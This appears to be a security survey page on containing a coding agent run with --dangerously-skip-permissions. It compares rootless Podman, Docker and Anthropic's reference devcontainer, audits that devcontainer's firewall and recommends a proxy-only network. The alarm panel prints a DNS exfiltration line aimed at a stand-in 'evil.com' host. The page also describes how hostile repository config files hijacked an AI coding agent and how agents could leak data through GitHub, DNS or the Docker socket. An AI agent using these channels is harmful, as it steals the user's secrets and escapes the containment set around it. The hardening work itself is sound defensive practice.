← Default view
CONTAINMENT CONSOLE Linux workstation safety / containers depth · survey 34 sources 12 min read 2026-07-30
Containment layer for claude --dangerously-skip-permissions

Five ways to put the agent in a box.
Only one of them holds the network.

Rootless Podman vs rootless Docker vs Docker on the default daemon vs the Dev Containers spec vs Anthropic's reference devcontainer — scored on isolation strength, egress control and daily friction, with the reference firewall's four defects on the alarm panel.

System armed Recommended configuration

Rootless Podman · --userns=keep-id · repo-only bind mount · egress through a proxy sidecar on an --internal network — not NET_ADMIN + iptables.

Anthropic's reference devcontainer is a good shape but a weak boundary: it allows unrestricted outbound DNS [4], allowlists all of GitHub's CIDR space, and grants the agent's own container CAP_NET_ADMIN [14]. If the repo is genuinely untrusted, skip containers and use a Proxmox VM — Anthropic says the same [1].

userns keep-id repo is the only mount cap_drop ALL no route off the box secrets live in the proxy workspace stays writable docker.sock — never

Containment matters even if you trust the model: three disclosed Claude Code flaws achieved command execution or API-key exfiltration purely from repository-local config files — .claude/settings.json, .mcp.json, ANTHROPIC_BASE_URL — because "configuration files effectively become part of the execution layer" [29]. A container turns cloned a hostile repo from a host compromise into a workspace compromise.

01

Engine rack

green = capability · amber = cost you pay
Podman logo
Daemonless · selected
Escape yields your host user only [12] — no long-running privileged daemon to inherit.
UID sane · keep-id SELinux container_t --internal + proxy
Isolation4/5
Egress ctl5/5
Friction3/5
Docker logo
Rootful · lowest friction
Escape yields host root — the daemon runs as root, so a break-out inherits it.
UIDs are real AppArmor docker-default proxy or NET_ADMIN both work
Isolation1/5
Egress ctl5/5
Friction1/5
Docker logo, desaturated
Fault · dead end for this workload
Escape yields your host user only [7], but bind-mounted repo files appear root-owned inside the container [18] — and the CLI refuses --dangerously-skip-permissions as root [2].
UID trap · worst of five AppArmor unsupported in-container iptables fragile
Isolation3/5
Egress ctl2/5
Friction3/5
devcontainers/cli repository card
Pass-through · packaging, not isolation
devcontainer.json is a portable description of an environment [31] that the devcontainer CLI ⭐ 2.9k [32] or your editor materialises on Docker or Podman. Security properties come from the engine underneath and the runArgs you put in it.
inherits engine inherits engine IDE channel is outside the firewall
Isolation
Egress ctl
Friction1/5
anthropics/claude-code repository card
4 alarms active · see panel 03
Assumes rootful Docker, so escape yields host root. Anthropic calls it "a working example rather than a maintained base image" [2].
workspace-only mount DNS wide open all of GitHub allowlisted NET_ADMIN in the agent
Isolation1/5
Egress ctl2/5
Friction1/5
02

What an escape actually needs

kernel-level readout — decides how much rootless buys you
Tux, the Linux kernel mascot

All five options in the rack share one kernel — yours. Every difference between them is a difference in which of these three kernel facilities is switched on, and who is allowed to switch it back off.

44/300+
Syscalls blocked · default seccomp
Includes mount, unshare, keyctl, bpf, ptrace and the module-loading calls [10]. This is why CVE-2022-0185 — which needed unshare — was not exploitable from a stock container [11]. Keeping the default profile is worth more than most hand-written hardening.
65536
Subordinate IDs required
Rootless Podman maps container UID 0 to your host UID and UIDs 1+ into your /etc/subuid range [12]; rootless Docker needs ≥65536 subordinate IDs for the daemon [7]. A full escape lands you as you.
0
MAC walls under rootless Docker on Ubuntu
Mandatory access control is the second wall if seccomp is bypassed, and rootless Docker cannot use AppArmor [7]. Podman labels processes container_t and applies the same confinement rootless as rootful [13] — a real differentiator on Fedora/RHEL.
3
Qualys bypasses of Ubuntu's userns limits, 2025
The trade nobody advertises: rootless swaps daemon-root risk for a larger unprivileged-user-namespace attack surface, and userns CVEs kept landing through 2026 [8]. A 2026 comparative study of AI-code-sandbox engines puts runc/Docker at the largest attack surface and Firecracker at the lowest CVE velocity: "no single solution optimizes all security dimensions" [9].

Practical reading: containers are a good blast-radius reducer against a hostile repo, not a boundary you'd bet on against a targeted kernel exploit. On a single-user workstation, "escape lands you as you" is a smaller win than it sounds — your home directory, SSH keys and sudo rights all belong to you. That's the VM's job.

03

Alarm panel · Anthropic reference devcontainer

3 files: devcontainer.json · node:20 Dockerfile · init-firewall.sh
4 active Audited against main anthropics/claude-code ⭐ 140k
ALM-01 · DNS_ANY_RESOLVER
Severity: critical
closed: not planned

iptables -A OUTPUT -p udp --dport 53 -j ACCEPT permits queries to any resolver, so dig @attacker-dns $(base64 secret).evil.com walks straight out of the default-deny firewall.

Filed with a repro and a one-line fix — restrict to 127.0.0.11 — and closed as not planned [4].

ALM-02 · ALLOWLIST_TOO_WIDE
Severity: high
fat write channel

The script ingests .web, .api and .git CIDR blocks from api.github.com/meta [3]. Those ranges serve gists, arbitrary repos and GitHub Pages — an agent with a token, or none at all via a public gist, has a write channel to the internet.

Port 22 is also unconditionally allowed, which is git push to anywhere.

ALM-03 · LAN_SLASH_24_ALLOWED
Severity: high
delete this line first

+ local /24 — the script allows the detected host network as a /24 [3].

On a homelab LAN that is your Proxmox API, your NAS, your router admin.

ALM-04 · CAP_NET_ADMIN_IN_AGENT
Severity: medium
shape, not breakage

The agent's container holds CAP_NET_ADMIN and CAP_NET_RAW [14]. The non-root node user cannot use them — added capabilities land in the bounding set, not a non-root process's effective set — so this is defence-in-depth-shaped rather than broken.

But any root-in-container bug flushes the whole firewall. Better designs move NET_ADMIN out of the agent's container entirely [5].

4 passingWhat it gets right — worth copying
Workspace-only bind mountsource=${localWorkspaceFolder},target=/workspace,type=bind — the host home is not mounted [14].
Credentials in named volumes~/.claude and shell history live in per-devcontainer volumes keyed on ${devcontainerId}, with CLAUDE_CONFIG_DIR set so .claude.json lands inside too [2].
One-line sudo grantnode ALL=(root) NOPASSWD: /usr/local/bin/init-firewall.sh and nothing else [15]. No general sudo, no writable escalation path.
Default-deny plus a self-testDROP on OUTPUT/INPUT/FORWARD with an ipset allowlist, and an assertion that example.com fails while api.github.com/zen succeeds [3].
04

Egress routing · three architectures

worst → best
3
In-container iptables + NET_ADMIN — the Anthropic pattern
agent + firewall host bridge internet UDP/53 any resolver

IP-level only, so it cannot distinguish api.anthropic.com from any other host behind the same CDN IP, cannot see DNS, and the enforcement lives inside the thing being contained. It also barely works rootless: iptables in a rootless container needs both NET_ADMIN and NET_RAW, and the ip_tables/xt_* modules must already be loaded on the host, because module loading needs real root [16] [17].

2
HTTPS_PROXY pointed at a filtering proxy
agent filtering proxy internet anything ignoring the env var

Hostname-aware and loggable, but opt-in: anything that ignores the environment variable goes direct. Claude Code honours HTTPS_PROXY/NO_PROXY and NODE_EXTRA_CA_CERTS, but not SOCKS [21] — which is exactly what a MITM proxy needs.

1
Isolated network, proxy as the only exit selected
agent --internal net · no gateway proxy + allowlist DNS internet

Compose's internal: true "lets you create an externally isolated network" [22]; Podman's --internal "restricts external access of this network" [24]. The agent container has no route off the box, so the proxy is not a suggestion. --network=none is strictly worse — with no interface at all the agent cannot reach the proxy either.

Residual leakOne gap survives even architecture 1 — on Docker

The embedded resolver at 127.0.0.11 forwards names it cannot answer to the host's upstream resolvers [23], so DNS tunnelling still exits an internal: true network. Fix it by pointing the container at your own resolver via dns: and having that resolver answer only allowlisted names — non-permitted domains resolve to a placeholder IP [34]. Podman sidesteps it: --internal disables the DNS plugin outright, so you must supply --dns explicitly [24].

05

Allowlist readout

what Claude Code actually needs — and what it does not
Rule table · default policy DENYsource [21]
ChannelHostsVerdict
Inference + WebFetch preflightapi.anthropic.comallow
Sign-in / OAuth refreshclaude.ai · claude.com · platform.claude.comallow
Updates, pluginsdownloads.claude.ai · storage.googleapis.com · registry.npmjs.orgallow
Docs, release notescode.claude.com · raw.githubusercontent.comallow
Optional / droppablemcp-proxy.anthropic.com · bridge.claudeusercontent.com · http-intake.logs.us5.datadoghq.com · browser-intake-us5-datadoghq.com · formulae.brew.shdrop
Your git workflowgithub.comnot required

Set CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC=1 and DISABLE_AUTOUPDATER=1 in containerEnv and the droppable row mostly disappears [2]. Note that nothing in the required list is github.com — that's for your git workflow, and it's the exfil channel.

06

Mount plane · the rootless UID trap

mount the repo, nothing else
Rootless Docker + skip-permissions + writable repo
Rootless Docker maps your host UID to container UID 0, so host files you own appear root-owned inside and a non-root container user cannot write them [18]. The obvious fix — run as container root — collides head-on with Claude Code: "The CLI rejects this flag when launched as root" [2]. An actual dead end without chown gymnastics.
Podman solves it declaratively
--userns=keep-id maps your host UID/GID straight through, so container node is host you and bind-mount ownership just works [19] [20]. For volumes already owned wrong: podman unshare chown -R 1000:1000 ./vol.
:z
SELinux label, or EACCES
On SELinux hosts a bind mount needs a label: :z (shared, multiple containers) or :Z (private, exclusive). Use :z for a repo you also open in a host editor. Drop label=disable and keep the confinement — which you want.
.devcontainer/devcontainer.json — rootless Podman
"runArgs": ["--userns=keep-id:uid=1000,gid=1000", "--security-opt=label=disable"],
"containerUser": "node",
"updateRemoteUserUID": true

Not $HOME, not ~/.ssh, not ~/.aws — Anthropic's own guidance is to prefer repository-scoped or short-lived tokens over mounting host secret files [2].

07

Credential plane

the host keyring is never mounted
DEFAULT~/.claude in a named volume with CLAUDE_CONFIG_DIR pointing at it, keyed on ${devcontainerId} so repos don't share one token store [2].
PREFERProxy-side injection over env-var tokens. sandcat and agent-sandbox keep real secrets in the proxy container and give the agent placeholders [5] [25]. A stolen ~/.claude token is annoying; a stolen broad-scope GitHub PAT is a supply-chain incident.
ALARMTurn off VS Code's git credential sharing. Dev Containers copies your host .gitconfig in, reuses your host credential helper — "credentials you've entered locally will be reused in the container" — and forwards your host SSH agent automatically [28]. That convenience hands an unattended agent your push rights to everything.
FIXSet git identity via containerEnv (GIT_AUTHOR_NAME, GIT_AUTHOR_EMAIL, GIT_COMMITTER_*), let the agent commit but never push, and push from the host yourself.
08

Interlock · Docker socket

do not open
Bind-mounting /var/run/docker.sock is host root by another name.

The container can just start a --privileged sibling [26]. It defeats every other control on this page, and it is not redeemed by rootless mode: rootless just makes the socket equal to your user rather than root, which on a workstation is the account that matters.

Even purpose-built guards leak. CVE-2026-6406 bypassed Docker Desktop's Enhanced Container Isolation because --use-api-socket mounts the socket via HostConfig.Mounts while the policy check only inspected HostConfig.Binds [27].

If the agent needs to build images: rootless Podman inside the container, or a separate builder it talks to over a proxied API. Never the outer socket.

09

Recommended wiring

rootless Podman · agent on an internal network · NET_ADMIN nowhere near the agent
host · one-time prerequisites
# rootless Podman prerequisites
sudo apt install podman podman-compose uidmap slirp4netns
grep "$USER" /etc/subuid /etc/subgid   # must exist, >=65536 IDs
systemctl --user enable --now podman.socket
podman network create --internal --disable-dns agent-net
podman network create egress-net
compose.yaml
services:
  proxy:
    build: ./proxy                 # mitmproxy + allowlist addon + dnsmasq
    networks: [agent-net, egress-net]
    volumes:
      - ./allowlist.yaml:/etc/proxy/allowlist.yaml:ro,z
      - ~/.config/agent/secrets:/secrets:ro,z   # secrets live HERE, not in the agent
      - proxy-ca:/ca

  agent:
    build: .
    networks: [agent-net]          # no route off the host
    dns: [10.89.1.2]               # the proxy's dnsmasq; allowlist-only answers
    userns_mode: "keep-id:uid=1000,gid=1000"
    cap_drop: [ALL]
    security_opt: [no-new-privileges]
    environment:
      HTTPS_PROXY: http://proxy:8080
      HTTP_PROXY: http://proxy:8080
      NO_PROXY: localhost,127.0.0.1
      NODE_EXTRA_CA_CERTS: /ca/mitmproxy-ca-cert.pem
      CLAUDE_CONFIG_DIR: /home/node/.claude
      CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC: "1"
      DISABLE_AUTOUPDATER: "1"
      GIT_AUTHOR_NAME: "Wouter (agent)"
      GIT_AUTHOR_EMAIL: "agent@localhost"
    volumes:
      - ./:/workspace:z            # the repo, and nothing else
      - claude-config:/home/node/.claude
      - proxy-ca:/ca:ro
    working_dir: /workspace
    command: ["claude", "--dangerously-skip-permissions"]

networks:
  agent-net:  { external: true }
  egress-net: { external: true }

volumes:
  claude-config:
  proxy-ca:
Dockerfile — no iptables, no ipset, no sudo
FROM node:22-bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
      git ripgrep ca-certificates && rm -rf /var/lib/apt/lists/*
RUN npm install -g @anthropic-ai/claude-code@2.1.220   # pin; auto-update is off
RUN mkdir -p /etc/claude-code
COPY managed-settings.json /etc/claude-code/managed-settings.json
USER node

managed-settings.json at /etc/claude-code/managed-settings.json is read at the highest precedence in the settings hierarchy, above anything the repo's .claude/ can set [2] — the right place to pin deny rules a hostile repo must not be able to widen, which is exactly the class of bug CVE-2025-59536 was [29]. Want editor integration? Wrap the same container in devcontainer.json with an initializeCommand creating the networks plus the runArgs above, and drive it headless with devcontainer up --workspace-folder . when you don't want the IDE's management channel in the picture [32].

10

Reference implementations · copy, don't reinvent

all three put the firewall outside the agent
VirtusLab/sandcat repository card
sandcat⭐ 171 · Jul 2026

Devcontainer + compose. mitmproxy in WireGuard mode; a wg-client sidecar holds NET_ADMIN and the agent container shares its network namespace, inheriting the tunnel with no capabilities of its own. Rules are first-match-wins deny-by-default, DNS is evaluated against the same ruleset [5].

↳ steal: SANDCAT_PLACEHOLDER_* env vars the proxy substitutes for allowed hosts only.
agentcage/agentcage repository card
agentcage⭐ 21 · Jul 2026

Rootless Podman --internal network with no gateway, plus dnsmasq and transparent-mitmproxy sidecars. MIT, fail-closed [6].

↳ steal: inspector chain over requests, WebSocket frames and DNS queries; denied domains resolve to a placeholder IP [34].
mattolson/agent-sandbox repository card
agent-sandbox⭐ 194 · Jul 2026

Same two-layer idea: mitmproxy sidecar plus in-container iptables so only the proxy is reachable, with secrets mounted into the proxy alone [25].

↳ steal the warning: the IDE's devcontainer management channel is a control plane outside the firewall, and a broad PAT reaches every repo the account can.
11

Friction log · honestly

what you pay, day to day
REBUILDPin the Claude Code version and install it in a layer above apt so a toolchain change doesn't re-download it. The Dev Container Feature always pulls latest, which is why the Dockerfile uses npm install -g …@X.Y.Z [2].
PORTSAn internal network publishes nothing. Attach a second publishing network to the agent only while you're actively testing, or reverse-proxy through the sidecar. Rootless engines also can't bind host ports below 1024 without CAP_NET_BIND_SERVICE on the rootlesskit binary or net.ipv4.ip_unprivileged_port_start=0 [7].
LIMITSRootless Docker honours --cpus/--memory only on cgroup v2 + systemd [7]. Worth checking before you let an agent run a build loop unattended.
NESTEDLayering Claude Code's own bubblewrap sandbox inside the container needs a nested-sandbox setting, because default seccomp blocks unshare [1] [10].
GITIdentity via containerEnv, commits inside, pushes from the host.
12

Residual risk · what none of this stops

escalation path

The workspace is writable, so anything Claude can read in /workspace it can also send to any allowlisted host — and it can rewrite your code [1]. Isolation also doesn't change what goes to the model.

EscalateFor a repo you actually distrust
Proxmox logo

The practitioner and vendor answers converge: a separate kernel — a Proxmox VM, a microVM, or Docker Desktop's sandboxes feature [33] [30] — with the container pattern above running inside it.

Two boundaries, not one. Proxmox as the isolation boundary →

14

Source register

34 citations
05 VirtusLab/sandcat
official · ⭐ 171
06 agentcage
official
25 mattolson/agent-sandbox
official · ⭐ 194
32 devcontainers/cli
official · ⭐ 2.9k
34 agentcage/agentcage
official · ⭐ 21
Console view of a survey-depth Scout page · 34 citations · read the canonical · parent expedition · Atlas